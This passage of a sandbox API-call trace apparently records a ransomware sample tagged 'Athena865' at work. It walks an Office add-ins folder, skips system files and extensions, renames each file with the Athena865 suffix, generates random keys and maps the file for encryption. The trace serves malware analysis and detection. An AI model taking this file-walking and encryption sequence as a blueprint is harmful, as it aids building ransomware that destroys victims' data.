[0151.594] lstrcmpiW (lpString1="OUTEX2.ECF", lpString2="bootmgr") returned 1 [0151.594] lstrcmpiW (lpString1="OUTEX2.ECF", lpString2="temp") returned -1 [0151.594] lstrcmpiW (lpString1="OUTEX2.ECF", lpString2="pagefile.sys") returned -1 [0151.594] lstrcmpiW (lpString1="OUTEX2.ECF", lpString2="boot") returned 1 [0151.594] lstrcmpiW (lpString1="OUTEX2.ECF", lpString2="ids.txt") returned 1 [0151.594] lstrcmpiW (lpString1="OUTEX2.ECF", lpString2="ntuser.dat") returned 1 [0151.594] lstrcmpiW (lpString1="OUTEX2.ECF", lpString2="perflogs") returned -1 [0151.594] lstrcmpiW (lpString1="OUTEX2.ECF", lpString2="MSBuild") returned 1 [0151.594] lstrlenW (lpString="OUTEX2.ECF") returned 10 [0151.594] lstrcpyW (in: lpString1=0x241e8ac, lpString2="OUTEX2.ECF" | out: lpString1="OUTEX2.ECF") returned="OUTEX2.ECF" [0151.594] lstrlenW (lpString="OUTEX2.ECF") returned 10 [0151.594] lstrlenW (lpString="Athena865") returned 9 [0151.594] lstrcmpiW (lpString1="UTEX2.ECF", lpString2="Athena865") returned 1 [0151.594] lstrlenW (lpString=".dll") returned 4 [0151.594] lstrcmpiW (lpString1="OUTEX2.ECF", lpString2=".dll") returned 1 [0151.594] lstrlenW (lpString=".lnk") returned 4 [0151.594] lstrcmpiW (lpString1="OUTEX2.ECF", lpString2=".lnk") returned 1 [0151.594] lstrlenW (lpString=".ini") returned 4 [0151.594] lstrcmpiW (lpString1="OUTEX2.ECF", lpString2=".ini") returned 1 [0151.594] lstrlenW (lpString=".sys") returned 4 [0151.594] lstrcmpiW (lpString1="OUTEX2.ECF", lpString2=".sys") returned 1 [0151.594] lstrlenW (lpString="OUTEX2.ECF") returned 10 [0151.595] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF.Athena865") returned 70 [0151.595] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf.athena865"), dwFlags=0x1) returned 1 [0151.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.596] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=850) returned 1 [0151.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0151.597] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0151.597] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.597] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.597] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x660, lpName=0x0) returned 0x17c [0151.599] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x660) returned 0x100000 [0151.599] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0151.600] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.600] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.600] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0151.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0151.600] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.600] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.600] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.600] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0151.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0151.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.601] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0151.601] CloseHandle (hObject=0x17c) returned 1 [0151.601] CloseHandle (hObject=0x154) returned 1 [0151.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0151.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.601] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x59c42b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x13b78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLVBA.DLL", cAlternateFileName="")) returned 1 [0151.601] lstrcmpiW (lpString1="OUTLVBA.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0151.601] lstrcmpiW (lpString1="OUTLVBA.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0151.601] lstrcmpiW (lpString1="OUTLVBA.DLL", lpString2=".") returned 1 [0151.601] lstrcmpiW (lpString1="OUTLVBA.DLL", lpString2="..") returned 1 [0151.602] lstrcmpiW (lpString1="OUTLVBA.DLL", lpString2="windows") returned -1 [0151.602] lstrcmpiW (lpString1="OUTLVBA.DLL", lpString2="bootmgr") returned 1 [0151.602] lstrcmpiW (lpString1="OUTLVBA.DLL", lpString2="temp") returned -1 [0151.602] lstrcmpiW (lpString1="OUTLVBA.DLL", lpString2="pagefile.sys") returned -1 [0151.602] lstrcmpiW (lpString1="OUTLVBA.DLL", lpString2="boot") returned 1 [0151.602] lstrcmpiW (lpString1="OUTLVBA.DLL", lpString2="ids.txt") returned 1 [0151.602] lstrcmpiW (lpString1="OUTLVBA.DLL", lpString2="ntuser.dat") returned 1 [0151.602] lstrcmpiW (lpString1="OUTLVBA.DLL", lpString2="perflogs") returned -1 [0151.602] lstrcmpiW (lpString1="OUTLVBA.DLL", lpString2="MSBuild") returned 1 [0151.602] lstrlenW (lpString="OUTLVBA.DLL") returned 11 [0151.602] lstrcpyW (in: lpString1=0x241e8ac, lpString2="OUTLVBA.DLL" | out: lpString1="OUTLVBA.DLL") returned="OUTLVBA.DLL" [0151.602] lstrlenW (lpString="OUTLVBA.DLL") returned 11 [0151.602] lstrlenW (lpString="Athena865") returned 9 [0151.602] lstrcmpiW (lpString1="TLVBA.DLL", lpString2="Athena865") returned 1 [0151.602] lstrlenW (lpString=".dll") returned 4 [0151.602] lstrcmpiW (lpString1="OUTLVBA.DLL", lpString2=".dll") returned 1 [0151.602] lstrlenW (lpString=".lnk") returned 4 [0151.602] lstrcmpiW (lpString1="OUTLVBA.DLL", lpString2=".lnk") returned 1 [0151.602] lstrlenW (lpString=".ini") returned 4 [0151.602] lstrcmpiW (lpString1="OUTLVBA.DLL", lpString2=".ini") returned 1 [0151.602] lstrlenW (lpString=".sys") returned 4 [0151.602] lstrcmpiW (lpString1="OUTLVBA.DLL", lpString2=".sys") returned 1 [0151.602] lstrlenW (lpString="OUTLVBA.DLL") returned 11 [0151.602] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL.Athena865") returned 71 [0151.602] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outlvba.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outlvba.dll.athena865"), dwFlags=0x1) returned 1 [0151.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outlvba.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.622] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=80760) returned 1 [0151.622] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.622] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.622] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0151.622] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0151.623] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.623] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.623] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13e80, lpName=0x0) returned 0x17c [0151.624] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13e80) returned 0x100000 [0151.628] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0151.629] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.629] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0151.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0151.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0151.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0151.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.630] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0151.630] CloseHandle (hObject=0x17c) returned 1 [0151.630] CloseHandle (hObject=0x154) returned 1 [0151.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0151.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.631] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f32200, ftCreationTime.dwHighDateTime=0x1bdf1f8, ftLastAccessTime.dwLowDateTime=0x1710610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f32200, ftLastWriteTime.dwHighDateTime=0x1bdf1f8, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PMAILEXT.ECF", cAlternateFileName="")) returned 1 [0151.631] lstrcmpiW (lpString1="PMAILEXT.ECF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0151.631] lstrcmpiW (lpString1="PMAILEXT.ECF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0151.631] lstrcmpiW (lpString1="PMAILEXT.ECF", lpString2=".") returned 1 [0151.631] lstrcmpiW (lpString1="PMAILEXT.ECF", lpString2="..") returned 1 [0151.631] lstrcmpiW (lpString1="PMAILEXT.ECF", lpString2="windows") returned -1 [0151.631] lstrcmpiW (lpString1="PMAILEXT.ECF", lpString2="bootmgr") returned 1 [0151.631] lstrcmpiW (lpString1="PMAILEXT.ECF", lpString2="temp") returned -1 [0151.631] lstrcmpiW (lpString1="PMAILEXT.ECF", lpString2="pagefile.sys") returned 1 [0151.631] lstrcmpiW (lpString1="PMAILEXT.ECF", lpString2="boot") returned 1 [0151.631] lstrcmpiW (lpString1="PMAILEXT.ECF", lpString2="ids.txt") returned 1 [0151.631] lstrcmpiW (lpString1="PMAILEXT.ECF", lpString2="ntuser.dat") returned 1 [0151.631] lstrcmpiW (lpString1="PMAILEXT.ECF", lpString2="perflogs") returned 1 [0151.631] lstrcmpiW (lpString1="PMAILEXT.ECF", lpString2="MSBuild") returned 1 [0151.631] lstrlenW (lpString="PMAILEXT.ECF") returned 12 [0151.631] lstrcpyW (in: lpString1=0x241e8ac, lpString2="PMAILEXT.ECF" | out: lpString1="PMAILEXT.ECF") returned="PMAILEXT.ECF" [0151.631] lstrlenW (lpString="PMAILEXT.ECF") returned 12 [0151.632] lstrlenW (lpString="Athena865") returned 9 [0151.632] lstrcmpiW (lpString1="ILEXT.ECF", lpString2="Athena865") returned 1 [0151.632] lstrlenW (lpString=".dll") returned 4 [0151.632] lstrcmpiW (lpString1="PMAILEXT.ECF", lpString2=".dll") returned 1 [0151.632] lstrlenW (lpString=".lnk") returned 4 [0151.632] lstrcmpiW (lpString1="PMAILEXT.ECF", lpString2=".lnk") returned 1 [0151.632] lstrlenW (lpString=".ini") returned 4 [0151.632] lstrcmpiW (lpString1="PMAILEXT.ECF", lpString2=".ini") returned 1 [0151.632] lstrlenW (lpString=".sys") returned 4 [0151.632] lstrcmpiW (lpString1="PMAILEXT.ECF", lpString2=".sys") returned 1 [0151.632] lstrlenW (lpString="PMAILEXT.ECF") returned 12 [0151.632] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF.Athena865") returned 72 [0151.632] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf.athena865"), dwFlags=0x1) returned 1 [0151.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.634] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=626) returned 1 [0151.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.635] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.635] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0151.635] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0151.635] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.635] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.636] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x580, lpName=0x0) returned 0x17c [0151.637] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x580) returned 0x100000 [0151.638] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0151.638] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.638] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0151.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0151.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0151.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0151.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.639] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0151.639] CloseHandle (hObject=0x17c) returned 1 [0151.639] CloseHandle (hObject=0x154) returned 1 [0151.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0151.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.640] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f65c00, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81f65c00, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17a360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UmOutlookAddin.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 1 [0151.640] lstrcmpiW (lpString1="UmOutlookAddin.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0151.640] lstrcmpiW (lpString1="UmOutlookAddin.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0151.640] lstrcmpiW (lpString1="UmOutlookAddin.dll", lpString2=".") returned 1 [0151.640] lstrcmpiW (lpString1="UmOutlookAddin.dll", lpString2="..") returned 1 [0151.640] lstrcmpiW (lpString1="UmOutlookAddin.dll", lpString2="windows") returned -1 [0151.640] lstrcmpiW (lpString1="UmOutlookAddin.dll", lpString2="bootmgr") returned 1 [0151.640] lstrcmpiW (lpString1="UmOutlookAddin.dll", lpString2="temp") returned 1 [0151.640] lstrcmpiW (lpString1="UmOutlookAddin.dll", lpString2="pagefile.sys") returned 1 [0151.640] lstrcmpiW (lpString1="UmOutlookAddin.dll", lpString2="boot") returned 1 [0151.640] lstrcmpiW (lpString1="UmOutlookAddin.dll", lpString2="ids.txt") returned 1 [0151.640] lstrcmpiW (lpString1="UmOutlookAddin.dll", lpString2="ntuser.dat") returned 1 [0151.640] lstrcmpiW (lpString1="UmOutlookAddin.dll", lpString2="perflogs") returned 1 [0151.640] lstrcmpiW (lpString1="UmOutlookAddin.dll", lpString2="MSBuild") returned 1 [0151.640] lstrlenW (lpString="UmOutlookAddin.dll") returned 18 [0151.640] lstrcpyW (in: lpString1=0x241e8ac, lpString2="UmOutlookAddin.dll" | out: lpString1="UmOutlookAddin.dll") returned="UmOutlookAddin.dll" [0151.640] lstrlenW (lpString="UmOutlookAddin.dll") returned 18 [0151.640] lstrlenW (lpString="Athena865") returned 9 [0151.640] lstrcmpiW (lpString1="Addin.dll", lpString2="Athena865") returned -1 [0151.640] lstrlenW (lpString=".dll") returned 4 [0151.640] lstrcmpiW (lpString1="UmOutlookAddin.dll", lpString2=".dll") returned 1 [0151.640] lstrlenW (lpString=".lnk") returned 4 [0151.640] lstrcmpiW (lpString1="UmOutlookAddin.dll", lpString2=".lnk") returned 1 [0151.640] lstrlenW (lpString=".ini") returned 4 [0151.640] lstrcmpiW (lpString1="UmOutlookAddin.dll", lpString2=".ini") returned 1 [0151.640] lstrlenW (lpString=".sys") returned 4 [0151.641] lstrcmpiW (lpString1="UmOutlookAddin.dll", lpString2=".sys") returned 1 [0151.641] lstrlenW (lpString="UmOutlookAddin.dll") returned 18 [0151.641] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll.Athena865") returned 78 [0151.641] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\umoutlookaddin.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\umoutlookaddin.dll.athena865"), dwFlags=0x1) returned 1 [0151.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\umoutlookaddin.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.643] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1549152) returned 1 [0151.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0151.643] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0151.644] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.644] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.644] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17a660, lpName=0x0) returned 0x17c [0151.646] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17a660) returned 0x2bb0000 [0151.740] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0151.741] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.741] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0151.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0151.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0151.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0151.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.742] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0151.755] CloseHandle (hObject=0x17c) returned 1 [0151.755] CloseHandle (hObject=0x154) returned 1 [0151.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0151.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.761] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f65c00, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81f65c00, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17a360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UmOutlookAddin.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 0 [0151.761] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0151.761] ReleaseMutex 